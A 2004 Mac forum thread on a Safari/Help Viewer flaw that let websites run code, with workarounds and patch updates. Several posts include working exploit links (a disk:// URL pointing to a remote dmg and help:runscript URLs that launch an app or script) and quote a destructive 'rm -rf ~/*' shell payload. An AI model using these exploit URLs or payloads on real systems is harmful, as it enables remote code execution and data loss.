Welcome to the MacNN Forums.

If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed. To start viewing messages, select the forum that you want to visit from the selection below.

You are here: MacNN Forums > Software - Troubleshooting and Discussion > macOS > Serious Security Flaw in Mac OS X/Safari/Help Viewer

Serious Security Flaw in Mac OS X/Safari/Help Viewer
Thread Tools
Developer
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 14, 2004, 08:25 AM
 
==================================== Update 3:

Security Update 2004-06-07 now addresses the arbitrary protocol registration vulnerability. If you previously redirected protocols you can set them back to their original applications. The issue is now completely resolved.
Now the first time a new application is launched not manually the OS will display a dialog that allows you to catch the launch of an unexpected, suspicious application. So read these dialogs carefully, it's your responsibility to decide which applications are run on your computer and which are not.



More info:

http://docs.info.apple.com/article.html?artnum=61798
http://docs.info.apple.com/article.html?artnum=25785

==================================== Update 2:

Apple released the Security Update 2004-05-24 which fixes the help:runscript vulnerability. If you previously redirected help: to some other application you can set it back to Help Viewer which is located in /System/Library/Core Services/.

This update doesn't protect against the arbitrary protocol registration vulnerability.

==================================== Update 1:

This thread discusses the potential security issues

• Help Viewer help:runscript vulnerability (lixlpixel)
• arbitrary protocol registration vulnerability (CharlesS, page 5 and following)

These issues allow the execution of code from remote by visiting a malicious web site. Payload for an exploit could be delivered on a disk image mounted via the disk: protocol for example.
Note that this is not a virus that spreads by itself. One needs to visit a malicious web site first, so the probability that one encounters a malicious attempt to exploit this "in the wild" are actually quite low. No need to panic. On the other hand it is easy to exploit, so you might want to take some safety precautions.

• Download MisFox or MoreInternet
• Redirect the help: protocol to some other program than Help Viewer, like Chess for example. This will work around the help:runscript vulnerability.

There is no easy way around the arbitrary protocol registration problem, but you can try to thwart payload delivery by

• Create disk: and disks: protocols in MisFox or MoreInternet and redirect them to some other program like Chess
• Disable "Open 'safe' files after download" in the Safari preferences.

For sake of completeness let's mention that the Finder mounts FTP under /Volumes as well.

When Apple delivers an update that addresses these issues, you might want to undo these changes in MisFox or MoreInternet before updating. Set help: back to Help Viewer which is located in /System/Library/Core Services/. Set disk: and disks: back to DiskImageMounter which is located in /System/Library/Core Services/.

For more details read the thread.


==================================== Original post:

With "Open 'safe' files after download" turned on, Safari mounts downloaded disk images. Since all volumes are mounted under /Volumes, the path to an AppleScript on such a disk image is known. With an URL of the type help:runscript=... HelpViewer can then be used to execute the script. This can be done with a refresh meta tag to such an URL. The script can then execute arbitrary code (on the disk image) with the user's privileges. (If the user is an admin, code can gain root privileges at the next reboot via the /Library/StartupItems/ weakness.)

More info:

http://fundisom.com/owned/warning

http://www.heise.de/newsticker/meldung/47355 (German)
( Last edited by Developer; Jun 7, 2004 at 04:59 PM. )
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
Jan Van Boghout
Mac Elite
Join Date: Sep 2001
Location: The Land of Beer and Chocolates
Status: Offline
Reply With Quote
May 14, 2004, 08:55 AM
 
Right, what will be the next dumbass: "I downloaded a Help file with LimeWire thinking Apple distributes its manuals that way, I opened it manually in Help Viewer, clicked a link and it wiped my hard drive!". Is this lame "security flaw" reporting a new trend? A user would have to:
a) Click a link that downloads a disk image (which will take some time considering we don't have network pipes at the speed of light)
b) Not notice that Safari opens and loads the disk image
c) Not notice what is on the disk image
d) Click another special link to execute a harmful AppleScript.

None of it can be done with one AS link since the file will only be done downloading after a script has finished executing (see point a).
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 14, 2004, 09:01 AM
 
Originally posted by Jan Van Boghout:
Is this lame "security flaw" reporting a new trend?
Sorry, but this is not a lame security flaw. A disk image can be very small; just a few kilobytes download quickly. And a refresh meta-tag can be used to automatically forward to the HelpViewer URL. That means that arbitrary code can be executed just by visiting a malicious web site. No user interaction is necessary.
It won't happen without the user noticing something strange, but it can happen fast enough to be too late before the user can react.
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
zen jihad
Registered User
Join Date: May 2004
Location: Just a groove in "G"
Status: Offline
Reply With Quote
May 14, 2004, 09:13 AM
 
On a slightly different note.

With the fame comes the pain.

Honestly. These things might seem trivial just now, but it's a given that if OS X becomes more prevalent, it'll see the growth of viruses, trojans, etc.
It'll be just another viable target, that's the nature of things. Why should this be of a surprise in the future? I just hope that when O$ X had a fraction of the marketshare of Windows, with all the goodness of virus attacks; we'll hopefully hear the end of mac zealots crying out about Windows vulnerabilities.
     
mitchell_pgh
Posting Junkie
Join Date: Feb 2000
Location: Washington, DC
Status: Offline
Reply With Quote
May 14, 2004, 09:50 AM
 
A majority of these things could be stopped by Apple implementing some security routines.

"You have downloaded XYZ, do you want to mount the volume to access the files"

would at least give the user the option to say no...
     
OptimusG4
Mac Elite
Join Date: Feb 2003
Location: columbus, oh
Status: Offline
Reply With Quote
May 14, 2004, 10:10 AM
 
Or just turn off 'Open Safe files after download' by default.
"Another classic science-fiction show cancelled before its time" ~ Bender

15.2" PowerBook 1.25GHz, 80GB HD, 768MB RAM, SuperDrive
     
Millennium
Clinically Insane
Join Date: Nov 1999
Status: Offline
Reply With Quote
May 14, 2004, 10:40 AM
 
Originally posted by OptimusG4:
Or just turn off 'Open Safe files after download' by default.
This is what Apple should be doing, except that they should completely remove the option. There is no such thing as a "safe file".
You are in Soviet Russia. It is dark. Grue is likely to be eaten by YOU!
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 14, 2004, 10:53 AM
 
Originally posted by Millennium:
This is what Apple should be doing, except that they should completely remove the option. There is no such thing as a "safe file".
Apple needs this setting (and needs it turned on by default) or too many people won't be able to install software distributed on disk images.
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
SMacTech
Mac Elite
Join Date: Nov 2001
Location: Trafalmadore
Status: Offline
Reply With Quote
May 14, 2004, 11:11 AM
 
Originally posted by Developer:
Apple needs this setting (and needs it turned on by default) or too many people won't be able to install software distributed on disk images.
Why is that? Because they will have to double-click on the dmg?
     
zen jihad
Registered User
Join Date: May 2004
Location: Just a groove in "G"
Status: Offline
Reply With Quote
May 14, 2004, 11:36 AM
 
Originally posted by Millennium:
This is what Apple should be doing, except that they should completely remove the option. There is no such thing as a "safe file".
It's the wrong terminology they are using. God knows why they have used that instead of just open, and open it via its default application.
     
testudo
Forum Regular
Join Date: Aug 2001
Status: Offline
Reply With Quote
May 14, 2004, 05:30 PM
 
Or just turn off 'Open Safe files after download' by default.

Umm, but won't the problem occur when the user double-clicks the disk image to open it (one of those "What the hell diskimage is this for? Lets give it a look.")
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 14, 2004, 06:43 PM
 
Originally posted by testudo:
Umm, but won't the problem occur when the user double-clicks the disk image to open it (one of those "What the hell diskimage is this for? Lets give it a look.")
That could work as well, but it would require more social engineering and would be more of a hit or miss with the timing of the Help Viewer URL forwarding.

Maybe Safari shouldn't pass URLs that ask Help Viewer to execute scripts?
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 12:02 AM
 
Originally posted by Developer:
...
Maybe Safari shouldn't pass URLs that ask Help Viewer to execute scripts?
Bingo! 10 Points! I didn't actually know that Apple had been fu©king stupid enough to allow such an immensely dumb thing to be done. How many years has Microsoft been slammed for allowing Outlook to execute scripts? Now Apple goes and allows their browser to execute a progamme that has the ability to execute Applescripts! Way to go Apple!
weird wabbit
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 12:24 AM
 
Originally posted by theolein:
Bingo! 10 Points! I didn't actually know that Apple had been fu©king stupid enough to allow such an immensely dumb thing to be done. How many years has Microsoft been slammed for allowing Outlook to execute scripts? Now Apple goes and allows their browser to execute a progamme that has the ability to execute Applescripts! Way to go Apple!
Agreed. I am very disappointed that Apple has made it possible to execute AppleScripts from a Safari URL. I thought only MS was that stupid.

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 12:43 AM
 
HOLY CRAP.

I've been playing with that script, and it can execute Terminal commands.

Oh, and it can also launch basically any file on your hard disk.

ANY FILE.

You can look at the script itself; it is called OpnApp.scpt and is in this folder:

file:///Library/Documentation/Help/M...sh.lproj/shrd/

You can open the script and see for yourself what it does. It opens any file that the Finder is able to open by double-clicking it. This is bad.

VERY, VERY, VERY, VERY BAD.

I am very disappointed that Apple has allowed this, especially after seeing how bad it was when Microsoft did this.

Turning off the "automatically open 'safe' files" feature will prevent this particular exploit, but it will not help if the hackers find another way to figure out the exact path that a downloaded file goes to. The only way to get rid of the problem is to go to the folder in the file URL that I provided above and either delete the script or move it out of the /Library/Documentation folder. That's what I'm doing - if it breaks any help files, then to hell with the help files!
( Last edited by CharlesS; Dec 31, 2007 at 02:32 PM. )

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 12:47 AM
 
Oh, and did I mention that you can still get .dmg's to mount automatically even if the user has 'safe' files turned off? Yes, you heard it here first. Just send the user to the URL to the disk image, with http:// replaced by disk:// . It will mount the image remotely over the network - very quickly I might add, even if the image itself is large - and you can then use this evil script to launch anything you please on it.

These two links will execute the malware with 'safe' files turned off:

disk://fundisom.com/owned/owned.dmg
help:runscript=MacHelp.help/Contents/Resources/English.lproj/shrd/OpnApp.scpt%20string='Volumes:ww:owned.app'

edit: okay, I can't make the second one a hyperlink with vBCode for some reason. Copy and paste it into the location bar.
( Last edited by CharlesS; Dec 31, 2007 at 02:33 PM. )

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 12:52 AM
 
The really fun thing is that this can be combined into a single click. (Does Not even need Auto-open of downloads on to work).

Edit for the technically quisitive: It's done via the Meta Refresh tag.

Edit 2: Bastards slashdotting my server.
( Last edited by theolein; May 15, 2004 at 07:23 AM. )
weird wabbit
     
lixlpixel
Fresh-Faced Recruit
Join Date: May 2004
Status: Offline
Reply With Quote
May 15, 2004, 12:54 AM
 
Oh, and did I mention that you can still get .dmg's to mount automatically even if the user has 'safe' files turned off? Yes, you heard it here first. Just send the user to the URL to the disk image, with http:// replaced by disk:// . It will mount the image remotely over the network - very quickly I might add, even if the image itself is large - and you can then use this evil script to launch anything you please on it.
wow - i didn't even think about that .

now that's heavy news ( i knew it worked, but forgot about that.)

if you allow, i'll include this into the warning site
( Last edited by lixlpixel; May 15, 2004 at 01:13 AM. )
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 12:54 AM
 
Originally posted by theolein:
The really fun thing is that this can be combined into a single click, go here [link removed at request of theolein] for an example. (Needs Auto-open of downloads on to work).
Again, you do not have to have 'safe' files turned on if you use a disk:// URL.

This SUCKS.
( Last edited by CharlesS; May 15, 2004 at 02:49 PM. )

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 12:58 AM
 
Originally posted by lixlpixel:
wow - i didn't even think about that .

now that's heavy news ( i knew it worked, but forgot about that.)

if you allow, i'll include this into the warning site
I'll edit my example as well, but of course you're allowed.

Editlease send Apple a warning about this! (I already have, but not that it can be done with a single click and that it doesn't need auto-open turned on) This is extremely dangerous as right now, some fu©khead can write the dreaded 'do shellscript="rm -rf ~/*" ' and put it up on their site
weird wabbit
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 01:04 AM
 
Originally posted by theolein:
I'll edit my example as well, but of course you're allowed.

Editlease send Apple a warning about this! (I already have, but not that it can be done with a single click and that it doesn't need auto-open turned on) This is extremely dangerous as right now, some fu©khead can write the dreaded 'do shellscript="rm -rf ~/*" ' and put it up on their site
Unless you delete the file I pointed to earlier in this thread, which I recommend everyone to do!

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
lixlpixel
Fresh-Faced Recruit
Join Date: May 2004
Status: Offline
Reply With Quote
May 15, 2004, 01:09 AM
 
you didn't look at my site close enough obviously, a user on macuser.de has posted a script modification so it warns you before it executes this opening - thingie.

you don't have to thrash it.

and theres a freeware to disable the "help:" protocol - this would do it too.

easy - it still IS apple ...

see http://fundisom.com/owned/explanation for the info
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 01:15 AM
 
Originally posted by lixlpixel:
you didn't look at my site close enough obviously, a user on macuser.de has posted a script modification so it warns you before it executes this opening - thingie.

you don't have to thrash it.
I do not care. I do not want Safari to be able to arbitrarily execute applications through URL's, whether it will warn me about it or not.

Using MoreInternet is a good suggestion which I did see on your site, but after deleting the 'help' protocol, it still seems to work in Safari an OmniWeb. Is it necessary to logout before this change takes effect or something?

Whatever. If the file no longer exists, it cannot do anything for sure. If I need it back for whatever reason, I can extract it with Pacifist. As long as it can execute arbitrary files through a URL, it does not deserve to live on my file system.

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
lixlpixel
Fresh-Faced Recruit
Join Date: May 2004
Status: Offline
Reply With Quote
May 15, 2004, 01:16 AM
 
Please send Apple a warning about this! (I already have, but not that it can be done with a single click and that it doesn't need auto-open turned on) This is extremely dangerous as right now, some fu©khead can write the dreaded 'do shellscript="rm -rf ~/*" ' and put it up on their site
do you really believe i would make that public without telling Apple ?

I LOVE APPLE

i can't sleep since i did it - i only did it because of so many "new" (more or less serious) exploits for the Mac surfaced.

(and because Apple didn't respond on my bug report for over two months)
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 01:21 AM
 
Originally posted by lixlpixel:
do you really believe i would make that public without telling Apple ?

I LOVE APPLE

i can't sleep since i did it - i only did it because of so many "new" (more or less serious) exploits for the Mac surfaced.

(and because Apple didn't respond on my bug report for over two months)
It's not your bloody fault - I can't believe Apple wouldn't fix this, having known about it since February.

I mean, God. It's not that hard to fix. Just remove that runscript attribute for help: URL's. It doesn't need to be there.

BTW, I sent a report to Apple. I encourage everyone to do the same. If we all send reports to them, they will see that many people are concerned about this and they will have no choice but to fix it.

God damn. I'm still in shock.

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 01:58 AM
 
Originally posted by CharlesS:
It's not your bloody fault - I can't believe Apple wouldn't fix this, having known about it since February.

I mean, God. It's not that hard to fix. Just remove that runscript attribute for help: URL's. It doesn't need to be there.

BTW, I sent a report to Apple. I encourage everyone to do the same. If we all send reports to them, they will see that many people are concerned about this and they will have no choice but to fix it.

God damn. I'm still in shock.
The place to send this to is the media, then AApple will get off it's fat lazy arse and fu©king do something. I recommend traditionally Apple-unfriendly media such as ZDNet and Cnet, and above all, send this to Slashdot (which I assume someone will have already done).

GOD DAMN APPLE! THIS IS WORSE THAN MICROSOFT
weird wabbit
     
lixlpixel
Fresh-Faced Recruit
Join Date: May 2004
Status: Offline
Reply With Quote
May 15, 2004, 02:06 AM
 
if someone posts this on slashdot, my server is gone ...

sh**, the bandwith is through the roof already.

(in the german-speaking countries this is known for nearly 24 hours already)
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 02:09 AM
 
Originally posted by lixlpixel:
if someone posts this on slashdot, my server is gone ...

sh**, the bandwith is through the roof already.

(in the german-speaking countries this is known for nearly 24 hours already)
You can bet your sweet arse that someone already has the rm -rf version already up on a site somewhere, which is why it is crtitical that Apple fixes this NOW, like yesterday in fact. As for the slashdotting, put the files in a zip and send them to a slashdot editor so that they can be mirrored.
weird wabbit
     
Spliffdaddy
Posting Junkie
Join Date: Oct 2001
Location: South of the Mason-Dixon line
Status: Offline
Reply With Quote
May 15, 2004, 02:19 AM
 
If *I* know - it's way past too late.

I don't even own a Mac.

     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 02:25 AM
 
Originally posted by Spliffdaddy:
If *I* know - it's way past too late.

I don't even own a Mac.

Damn straight there, Spliff. More sh¡t like this from Apple and my next machine will be a PC. (Jesus, two whole months and not even responding is worse than Microsoft.)
weird wabbit
     
Spliffdaddy
Posting Junkie
Join Date: Oct 2001
Location: South of the Mason-Dixon line
Status: Offline
Reply With Quote
May 15, 2004, 02:35 AM
 
At some point you hafta accept the fact that any personal computer is inherently "at-risk".

Once you eliminate all the potential problems, you arrive at something much less than a personal computer.

Everyone felt safe and secure the whole time they were wide open to attack. Bragging about the 'security' of their platform while still using a personal computer connected to the internet.

Humans aren't perfect. Humans are responsible for the logic by which computers operate.

Did you expect perfection from human beings?

Do you think this is the only 'open door' in the Mac OS?
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 02:42 AM
 
Warning to everyone!: The workarounds mentioned here, including modifying the OpnApp.scpt (as the user at macuser.de mentioned), and trashing the file might not be enough. If you're an international user, and possibly with American systems as well, there will be a whole bunch of "Some Language.lproj" folders inside the MacHelp.help app. All of them contain the very same OpnApp.scpt file which is partly responsible for this vulnerability. I advise you to trash those *.lproj folders of the languages you don't use in addition to the above mentioned workarounds.
weird wabbit
     
CharlesS
Posting Junkie
Join Date: Dec 2000
Status: Offline
Reply With Quote
May 15, 2004, 05:19 AM
 
Originally posted by Spliffdaddy:
At some point you hafta accept the fact that any personal computer is inherently "at-risk".

Once you eliminate all the potential problems, you arrive at something much less than a personal computer.

Everyone felt safe and secure the whole time they were wide open to attack. Bragging about the 'security' of their platform while still using a personal computer connected to the internet.

Humans aren't perfect. Humans are responsible for the logic by which computers operate.

Did you expect perfection from human beings?

Do you think this is the only 'open door' in the Mac OS?
Seriously, there is no excuse for this. I don't care how imperfect humans are, this is just stupidity. I mean, URLs with the ability to run AppleScripts?! Microsoft had a bug with this a while ago, which let you delete files with a URL that ran a delete script in the help files. It was ridiculous then, and it's just as ridiculous now.

Ticking sound coming from a .pkg package? Don't let the .bom go off! Inspect it first with Pacifist. Macworld - five mice!
     
Gavin
Mac Elite
Join Date: Oct 2000
Location: Seattle
Status: Offline
Reply With Quote
May 15, 2004, 06:13 AM
 
How would someone set up a thing like this without being caught?

This requires web hosting which can be traced much easier than some worm or email.

Basiclly if someone does this anyone of us could be cutting their fingers off within mere hours.
     
theolein
Addicted to MacNN
Join Date: Feb 2001
Location: zurich, switzerland
Status: Offline
Reply With Quote
May 15, 2004, 07:06 AM
 
Originally posted by Gavin:
How would someone set up a thing like this without being caught?

This requires web hosting which can be traced much easier than some worm or email.

Basiclly if someone does this anyone of us could be cutting their fingers off within mere hours.
You can get free web access with http://angelfire.lycos.com/ for example and you can give them a bullsh¡t hotmail or yahoo email address, and do the whole thing from an internet cafe. Never underestimmate the capability of the human mind to fu©k things up when they really want to.
weird wabbit
     
sniffer
Professional Poster
Join Date: Nov 2000
Location: Norway (I eat whales)
Status: Offline
Reply With Quote
May 15, 2004, 07:40 AM
 
Originally posted by theolein:
.. I advise you to trash those *.lproj folders of the languages you don't use in addition to the above mentioned workarounds.
You can also just search for "OpnApp.scpt" inside the MacHelp.help bundle. A little cleaner.

But gawd damn! I can't believe Apple hasn't fixed this yet if it was known since February.

Sniffer gone old-school sig
     
utidjian
Senior User
Join Date: Jan 2001
Location: Mahwah, NJ USA
Status: Offline
Reply With Quote
May 15, 2004, 09:33 AM
 
Originally posted by sniffer:
You can also just search for "OpnApp.scpt" inside the MacHelp.help bundle. A little cleaner.

But gawd damn! I can't believe Apple hasn't fixed this yet if it was known since February.
Hmmm...

Code:
core:~ utidjian$ locate OpnApp.scpt | wc -l 246
So there are currently 246 of these little gems on this system.

As far as malicious code having to know where certain files are located that is really rather easy. Using absolute paths most files are located in the same place on different machines. The only real variations are the files in $HOME. Even then there is a lot of consistency.
-DU-...etc...
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 15, 2004, 09:39 AM
 
Originally posted by CharlesS:
Oh, and did I mention that you can still get .dmg's to mount automatically even if the user has 'safe' files turned off? Yes, you heard it here first. Just send the user to the URL to the disk image, with http:// replaced by disk:// . It will mount the image remotely over the network - very quickly I might add, even if the image itself is large - and you can then use this evil script to launch anything you please on it.
You are right. Didn't think about that. That would make it even more obscure what happens for the user. However - as I said earlier - I think the real problem is the URL that executes AppleScripts in HelpViewer.
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
Person Man
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status: Offline
Reply With Quote
May 15, 2004, 10:10 AM
 
Originally posted by CharlesS:
Seriously, there is no excuse for this. I don't care how imperfect humans are, this is just stupidity. I mean, URLs with the ability to run AppleScripts?! Microsoft had a bug with this a while ago, which let you delete files with a URL that ran a delete script in the help files. It was ridiculous then, and it's just as ridiculous now.
Anyone ever stop to think about why you can execute AppleScripts from a URL in Help Viewer?

There are places in help files where the help files can offer to show users how to do things, or to open things for other users, for example, "To change system volume, you need to open System Preferences, click on..." Usually, you can find a link that says, "Open System Preferences for me." This system can be used to automate many things for the user, from within help. Very nice for people who aren't as experienced as many of us are.

Help Viewer files are simple HTML files. Apple made a few extensions, such as the runscript URL, so that the above functionality could be made possible.

Now consider for a moment how Safari got the ability to execute the runscript URL from Help Browser. In Panther, at least (I don't know about Jaguar), Help Viewer uses WebCore to render its pages just like Safari does... in fact, you can do the runscript command from any browser that uses the system-wide native WebCore. I find it interesting that Help Viewer launches, but I suspect that that has to do with the fact that Apple has specified by default that the prefix help:// means launch Help Viewer.

Now, how to best fix it? I don't know. The best fix would prevent it from being accessed from a web browser, but not destroy the functionality that it brings to Help Viewer.

It's a very big problem, yes, and one that needs to be fixed, but let's try coming up with solutions that allow for functionality to be preserved, but to limit it in some way to the context it was originally designed for (i.e. you shouldn't be able to launch help browser to run a script from within Safari or any other web browser).
     
Person Man
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status: Offline
Reply With Quote
May 15, 2004, 10:16 AM
 
Originally posted by theolein:
The place to send this to is the media, then Apple will get [up and] do something. I recommend traditionally Apple-unfriendly media such as ZDNet and Cnet, and above all, send this to Slashdot (which I assume someone will have already done).

GOD DAMN APPLE! THIS IS WORSE THAN MICROSOFT
Above quote edited to "clean up content a bit."

It is most certainly NO worse that Microsoft. It might be on par with Microsoft, but not any worse.

Besides, these days, all one has to do is make a proof of concept, and send it to Intego. Boom, Instant media exposure.
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 15, 2004, 10:39 AM
 
Originally posted by CharlesS:
Unless you delete the file I pointed to earlier in this thread, which I recommend everyone to do!
CharlesS, this has nothing to do with the OpnApp.scpt

Deleting the OpnApp.scpt does NOT protect you from this vulnerability!

Neither does it help to modify the OpnApp.scpt or to delete the MacHelp.help as lixlpixel suggests.
HelpViewer will execute any script that it is told to execute in the URL. If the URL is known and fixed this can be exploited. And the URL of a script on a mounted volume is known.

The following link will open the "Current Date & Time.scpt" for example without the use of the OpenApp.scpt

help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt
( Last edited by Developer; May 15, 2004 at 11:29 AM. )
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
AsiaWrite
Fresh-Faced Recruit
Join Date: Dec 2002
Location: Pasadena, CA
Status: Offline
Reply With Quote
May 15, 2004, 11:10 AM
 
This whole discussion is moot if the user has software like Norton AV that "scans on mount" enabled (which is turned on by default.
     
mitchell_pgh
Posting Junkie
Join Date: Feb 2000
Location: Washington, DC
Status: Offline
Reply With Quote
May 15, 2004, 11:10 AM
 
Yah, this stuff really makes me nervous...

I think apple needs to look in to all of his and set the default to a very secure standard.

At the same time, There must be a way to make it easy for a person to download programs.

I wonder if this could be the new application installer offered by Apple.
Apple could "guarantee" specific programs.

Think iTunes like button for "safe" downloads directly from apple "guaranteed" virus/trojan free?!
     
lixlpixel
Fresh-Faced Recruit
Join Date: May 2004
Status: Offline
Reply With Quote
May 15, 2004, 11:30 AM
 
there is a very positive approach on macnyt.dk/forum/?page=thread&topic=10846340014639601

there is a guy named Jens Jakob Jensen from Denmark who has built exactly such a setup but which will FIX the helpviewer. kind of selfhealing happening here ...

looks like there are always two sides of a medal.
( Last edited by lixlpixel; May 15, 2004 at 04:33 PM. )
     
mitchell_pgh
Posting Junkie
Join Date: Feb 2000
Location: Washington, DC
Status: Offline
Reply With Quote
May 15, 2004, 11:33 AM
 
Originally posted by lixlpixel:
there is a very positive approach on http://macnyt.dk/forum/?page=thread&...46340014639601

there is a guy named Jens Jakob Jensen from Denmark who has built exactly such a setup but which will FIX the helpviewer. kind of selfhealing happening here ...

looks like there are always two sides on a medal .
I think you mean, "there are two sides to every coin (or story)"
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 15, 2004, 11:35 AM
 
Originally posted by lixlpixel:
there is a guy named Jens Jakob Jensen from Denmark who has built exactly such a setup but which will FIX the helpviewer. kind of selfhealing happening here ...
I'm not clicking it since I don't know what it does. But since it is called "OpnApp fixer" then note that the vulnerability does work without OpnApp.scpt. See my post above.
( Last edited by Developer; May 15, 2004 at 11:49 AM. )
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
lixlpixel
Fresh-Faced Recruit
Join Date: May 2004
Status: Offline
Reply With Quote
May 15, 2004, 11:54 AM
 
don't worry - i wouldn't post this if i hadn't looked at the code.

but of course it doesn't start right away, he'll give you the choice if you want one-click-does-it-all or classic with download and co...


and that it doesn't get rid of the problem itself is pretty clear.

but it's not HIS job to fix this.

i just found it worth mentioning, because it demonstrates why someone might have once thought it would be nice to implement.

i mean, imagine a world where these features could be in the software WITHOUT someone thinking of destruction.

after all it's still Macintosh - and remember - you need an Apple to make the .dmg and / or an Applescript.

and i strongly believe that no Mac-user would deliberatly harm another Mac-user just like this ( i hope) - this would be different if this would affect Windows PCs ...
     
zen jihad
Registered User
Join Date: May 2004
Location: Just a groove in "G"
Status: Offline
Reply With Quote
May 15, 2004, 12:00 PM
 
Originally posted by AsiaWrite:
This whole discussion is moot if the user has software like Norton AV that "scans on mount" enabled (which is turned on by default.
That's the problem, most don't. Most users probably won't even know about this new problem, and their computers are setup with the basic defaults. Apple needs to address this, then there's the better chance people will be covered.
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 15, 2004, 12:03 PM
 
Originally posted by lixlpixel:
and that it doesn't get rid of the problem itself is pretty clear.

but it's not HIS job to fix this.
Good, but his script messes with the OpnApp.scpt. The OpnApp.scpt is not required for this vulnerability. Paste the following into the address bar:

help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

It will launch the Current Data & Time script wihout the help of OpnApp.scpt. Instead of the Date & Time script this could be a script on the disk image. So messing with OpnApp.scpt does you nothing good. I suggest you do not do this.
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
Developer  (op)
Addicted to MacNN
Join Date: Apr 2001
Location: europe
Status: Offline
Reply With Quote
May 15, 2004, 12:07 PM
 
Summary:

• Deleting or modifying the OpnApp.scpt doesn't protect from this vulnerability
• Deleting the MacHelp.help doesn't protect from this vulnerability
• Deleting the help protocol with MisFox doesn't protect from this vulnerability
• Changing the help protocol to something else than Help Viewer (I use Chess) seems to help

I suggest you download MisFox and change the application for the help protocal from Help Viewer to something else.

Get MisFox here:

http://www.clauss-net.de/misfox/misfox.html

and click the Protocol Helpers tab.
Nasrudin sat on a river bank when someone shouted to him from the opposite side: "Hey! how do I get across?" "You are across!" Nasrudin shouted back.
     
 
Thread Tools
 
Forum Links
Forum Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Top
Privacy Policy
All times are GMT -4. The time now is 07:05 AM.
All contents of these forums © 1995-2015 MacNN. All rights reserved.
Branding + Design: www.gesamtbild.com
vBulletin v.3.8.8 © 2000-2015, Jelsoft Enterprises Ltd.,